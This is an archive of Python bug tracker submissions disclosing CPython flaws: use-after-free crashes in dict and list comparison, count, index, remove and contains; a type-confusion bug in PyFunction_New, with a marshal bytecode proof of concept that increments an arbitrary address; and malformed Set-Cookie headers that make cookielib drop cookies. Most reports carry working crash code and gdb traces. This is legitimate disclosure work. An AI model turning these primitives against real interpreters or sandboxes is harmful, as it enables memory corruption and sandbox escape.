[issue38588] Use-after-free in dict/list

2019-10-25 Thread LCatro


New submission from LCatro :

Code :

The varanit bval forget call Py_INCREF to add reference in dict_equal()

b->ma_keys->dk_lookup(b, key, ep->me_hash, &bval);  <--- ...
if (bval == NULL) {
Py_DECREF(key);
Py_DECREF(aval);
if (PyErr_Occurred())
return -1;
return 0;
}
cmp = PyObject_RichCompareBool(aval, bval, Py_EQ);


PoC 1 :

class poc() :
def __eq__(self,other) :
dict2.clear()
return NotImplemented

dict1 = {0:poc()}
dict2 = {0:set()}
dict1 == dict2   ##  dict_equal() -> PyObject_RichCompareBool


Crash Detail :


(gdb) run ../python_poc_info/dict_poc_1.py 
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/fuzzing/Desktop/Python-3.8.0/python 
../python_poc_info/dict_poc_1.py
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x0046e445 in do_richcompare (v=v@entry=0x77e767d0, 
w=w@entry=0x76dd88c0, op=op@entry=2)
at Objects/object.c:725
725 if (!checked_reverse_op && (f = w->ob_type->tp_richcompare) != 
NULL) {


==

Code :

The varanit wl->ob_item[i] forget call Py_INCREF to add reference in 
list_richcompare()

for (i = 0; i < Py_SIZE(vl) && i < Py_SIZE(wl); i++) {
int k = PyObject_RichCompareBool(vl->ob_item[i],
 wl->ob_item[i], Py_EQ);  <---


PoC 2 :

class poc() :
def __eq__(self,other) :
list1.clear()
return NotImplemented


list1 = [poc()]
list2 = [1]
list1 == list2  #  list_richcompare() -> PyObject_RichCompareBool


Crash Detail :


(gdb) run ../python_poc_info/list_poc_1.py 
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/fuzzing/Desktop/Python-3.8.0/python 
../python_poc_info/list_poc_1.py
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x0044bd07 in long_richcompare (self=0x961200 , 
other=0x77e767d0, op=2)
at Objects/longobject.c:3083
3083CHECK_BINOP(self, other);


==

Code :

The varanit PyList_GET_ITEM(a, i) forget call Py_INCREF to add reference in 
list_contains()

list_contains(PyListObject *a, PyObject *el)
{
Py_ssize_t i;
int cmp;

for (i = 0, cmp = 0 ; cmp == 0 && i < Py_SIZE(a); ++i)
cmp = PyObject_RichCompareBool(el, PyList_GET_ITEM(a, i),
   Py_EQ);   <


PoC 3 :

class poc() :
def __eq__(self,other) :
list1.clear()
return NotImplemented

list1 = [ set() ]
poc() in list1  #  list_contains() -> PyObject_RichCompareBool


Crash Detail :


(gdb) run ../python_poc_info/list_poc_2.py 
Starting program: /home/fuzzing/Desktop/Python-3.8.0/python 
../python_poc_info/list_poc_2.py
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x0046e445 in do_richcompare (v=v@entry=0x77e766e0, 
w=w@entry=0x76dd88c0, op=op@entry=2)
at Objects/object.c:725
725     if (!checked_reverse_op && (f = w->ob_type->tp_richcompare) != 
NULL) {

--
messages: 355366
nosy: LCatro, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Use-after-free in dict/list
type: security
versions: Python 3.8

___
Python tracker 
<https://bugs.python.org/issue38588>
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38610] use-after-free in list object function

2019-10-27 Thread LCatro


New submission from LCatro :

Code 1 :

static PyObject *
list_index_impl(PyListObject *self, PyObject *value, Py_ssize_t start,
Py_ssize_t stop)
// ...
for (i = start; i < stop && i < Py_SIZE(self); i++) {
int cmp = PyObject_RichCompareBool(self->ob_item[i], value, Py_EQ);  <= 
 self->ob_item[i] can uaf ..


PoC :

class rewrite_list_eq(list) :
def __eq__(self,other) :
str(other)   #  <== that will call the object recall function tp_repr 
and call it ..
return NotImplemented

class poc() :
def __eq__(self,other) :
list1.clear()
return NotImplemented

list1 = [ poc() ]
list1.index(list1)   #  list_index_impl() -> PyObject_RichCompareBool()


Crash Report :

(gdb) run ../py_poc/list_poc_3.py
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tangjitao/Python-3.8.0/python ../py_poc/list_poc_3.py
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
PyObject_Str (v=0x76e82d20) at Objects/object.c:573
573 if (Py_TYPE(v)->tp_str == NULL)

= 

Code 2 :

static PyObject *
list_count(PyListObject *self, PyObject *value)
{
Py_ssize_t count = 0;
Py_ssize_t i;

for (i = 0; i < Py_SIZE(self); i++) {
int cmp = PyObject_RichCompareBool(self->ob_item[i], value, Py_EQ);  // 
 <=


PoC :

class rewrite_list_eq(list) :
def __eq__(self,other) :
str(other)
return NotImplemented

class poc() :
def __eq__(self,other) :
list1.clear()
return NotImplemented

list1 = rewrite_list_eq([ poc() ])
list1.count(list1)   #  list_count() -> PyObject_RichCompareBool()


Crash Report :

(gdb) run ../py_poc/list_poc_4.py
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tangjitao/Python-3.8.0/python ../py_poc/list_poc_4.py
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
PyObject_Str (v=0x76e82d20) at Objects/object.c:573
573 if (Py_TYPE(v)->tp_str == NULL)


===

Code 3 :

static PyObject *
list_remove(PyListObject *self, PyObject *value)
/*[clinic end generated code: output=f087e1951a5e30d1 input=2dc2ba5bb2fb1f82]*/
{
Py_ssize_t i;

for (i = 0; i < Py_SIZE(self); i++) {
Py_INCREF(self->ob_item[i]);
int cmp = PyObject_RichCompareBool(self->ob_item[i], value, Py_EQ);


PoC :

class rewrite_list_eq(list) :
def __eq__(self,other) :
str(other)
return NotImplemented

class poc() :
def __eq__(self,other) :
list1.clear()
return NotImplemented

list1 = rewrite_list_eq([ poc() ])
list1.remove(list1)   #  list_count() -> PyObject_RichCompareBool()


Crash Report :

(gdb) run ../py_poc/list_poc_5.py
Starting program: /tangjitao/Python-3.8.0/python ../py_poc/list_poc_5.py
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
PyObject_Str (v=0x76e82d20) at Objects/object.c:573
573 if (Py_TYPE(v)->tp_str == NULL)

--
components: Interpreter Core
messages: 355513
nosy: LCatro, serhiy.storchaka
priority: normal
severity: normal
status: open
title: use-after-free in list object function
type: crash
versions: Python 3.8

___
Python tracker 
<https://bugs.python.org/issue38610>
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38588] Use-after-free in dict/list

2019-10-27 Thread LCatro


LCatro  added the comment:

Sure ,but how can i pull my fix code ?

--

___
Python tracker 
<https://bugs.python.org/issue38588>
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue29825] PyFunction_New() not validate code object

2017-03-16 Thread LCatro

New submission from LCatro:

PyFunction_New() not validate code object ,so we can make a string object to 
fake code object

This is Python ByteCode :

  LOAD_CONST '\x41\x41\x41\x41'
  MAKE_FUNCTION 0

in source code ,we can see that string object trace to variant v

TARGET(MAKE_FUNCTION)
{
v = POP(); /* code object */  <=  now it is a string object
x = PyFunction_New(v, f->f_globals);  <=  using in there

and than ,we making a string object will taking into PyFunction_New()

PyFunction_New(PyObject *code, PyObject *globals)
{
PyFunctionObject *op = PyObject_GC_New(PyFunctionObject,
&PyFunction_Type);
static PyObject *__name__ = 0;
if (op != NULL) {  <=  there just check new alloc object point but not 
checking the argument code's python type (actually it is TYPE_CODE) ..
PyObject *doc;
PyObject *consts;
PyObject *module;
op->func_weakreflist = NULL;
Py_INCREF(code);
op->func_code = code;
Py_INCREF(globals);
op->func_globals = globals;
op->func_name = ((PyCodeObject *)code)->co_name;
Py_INCREF(op->func_name);  <=  it will make an arbitrary address inc by 
one ..

Opcode MAKE_CLOSURE similar too ..

TARGET(MAKE_CLOSURE)
{
v = POP(); /* code object */
x = PyFunction_New(v, f->f_globals);

poc and crash detail in update file

--
components: Interpreter Core
files: inc_by_one.rar
messages: 289710
nosy: imso666
priority: normal
severity: normal
status: open
title: PyFunction_New() not validate code object
type: security
versions: Python 2.7
Added file: http://bugs.python.org/file46728/inc_by_one.rar

___
Python tracker 
<http://bugs.python.org/issue29825>
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue29825] PyFunction_New() not validate code object

2017-03-17 Thread LCatro

LCatro added the comment:

actually ,LOAD_CONST is taking an correct offset .I make a Python opcode 
compiler ,LOAD_CONST '\x41\x41\x41\x41' will 
conver to LOAD_CONST 1 .look back the poc ,it mean :

LOAD_CONST 1 => Load a string object from co->consts to python stack
MAKE_FUNCTION 0  => first ,python core will pop a object from python stack ,and 
than using this object to create a function

so set a breakpoint at TARGET(MAKE_FUNCTION)

v = POP(); /* code object */  <=  now it is a string object
x = PyFunction_New(v, f->f_globals);

PyFunction_New(PyObject *code, PyObject *globals)  <=  now argument code is a 
string object not code object

op->func_name = ((PyCodeObject *)code)->co_name;  <=  look there
Py_INCREF(op->func_name)

conver to assembly :

1e07e24e 8b4834  mov ecx,dword ptr [eax+34h]
...
1e07e254 ff01inc dword ptr [ecx]

it mean ,if control data struct's offset 0x34 and it will conduct an 
arbitrarily address to inc 

Python string object's struct like this :
|Python_Type|String_Length|String_Data|

breakpoint at 0x1e07e24e ,look eax ..

0:000> dd eax
0204d2e0  0003 1e1d81f8 0024 c7554b90
0204d2f0  0001 43434343 43434343 43434343
0204d300  43434343 43434343 43434343 43434343
0204d310  43434343 41414141 68746100 00275f5f
0204d320  0204e408 0204d3e0 fffd 
0204d330  0001 1e1dbb00 01fda968 01fe28a0
0204d340  0204b590  1e1d9824 01fb1760
0204d350    01feb2c0 01ff9930

so [eax+34h] point to 0x41414141 ,inc dword ptr [ecx] => inc dword ptr 
[0x41414141]

i trigger this need compiler opcode to .pyc ,actually we can still trigger in 
.py ,this is poc :

import marshal

code=b'\x63\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00\x73\x0A\x00\x00\x00\x64\x01\x00\x84\x00\x00\x64\x00\x00\x53\x28\x02\x00\x00\x00\x4E\x73\x24\x00\x00\x00\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x41\x41\x41\x41\x28\x00\x00\x00\x00\x28\x00\x00\x00\x00\x28\x00\x00\x00\x00\x28\x00\x00\x00\x00\x74\x00\x00\x00\x00\x73\x08\x00\x00\x00\x3C\x6D\x6F\x64\x75\x6C\x65\x3E\x01\x00\x00\x00\x74\x02\x00\x00\x00\x00\x01'

poc=marshal.loads(code)

exec(poc)

--

___
Python tracker 
<http://bugs.python.org/issue29825>
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue33017] Special set-cookie setting will bypass Cookielib

2018-03-06 Thread LCatro

New submission from LCatro :

PoC (PHP Version):

 header('Set-Cookie: test=123; max-age=a');  //  PoC 1
 header('Set-Cookie: test=123; domain=;');  //  PoC 2
 header('Set-Cookie: test=123; version=a;');  //  PoC 3

PoC 1 will trigger int() convert string to number from max-age 
(lib/cookielib.py:1429).I give this value a string ,it will make except 

try:
v = int(v) #  lib/cookielib.py:1429
except ValueError:
_debug("   missing or invalid (non-numeric) value for "
  "max-age attribute")
bad_cookie = True
break  #  lib/cookielib.py:1434

PoC 2 is a domain None value (lib/cookielib.py:1412).Cookielib will discard 
current cookie record.
if k == "domain":  #  lib/cookielib.py:1411
if v is None:  #  lib/cookielib.py:1412
_debug("   missing value for domain attribute")
bad_cookie = True
break  #  lib/cookielib.py:1415

PoC 3 will trigger a int() convert except(lib/cookielib.py:1472).Cookielib will 
discard current cookie record too.
version = standard.get("version", None)  #  lib/cookielib.py:1469
if version is not None:
try:
version = int(version)  #  lib/cookielib.py:1472
except ValueError:
return None  # invalid version, ignore cookie

There are PoCs involve urllib and requests library .

Full Code Analysis (Chinese Version): 
https://github.com/lcatro/Python_CookieLib_0day

--
components: Library (Lib)
files: poc.php
messages: 313370
nosy: LCatro
priority: normal
severity: normal
status: open
title: Special set-cookie setting will bypass Cookielib
versions: Python 2.7
Added file: https://bugs.python.org/file47472/poc.php

___
Python tracker 
<https://bugs.python.org/issue33017>
___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com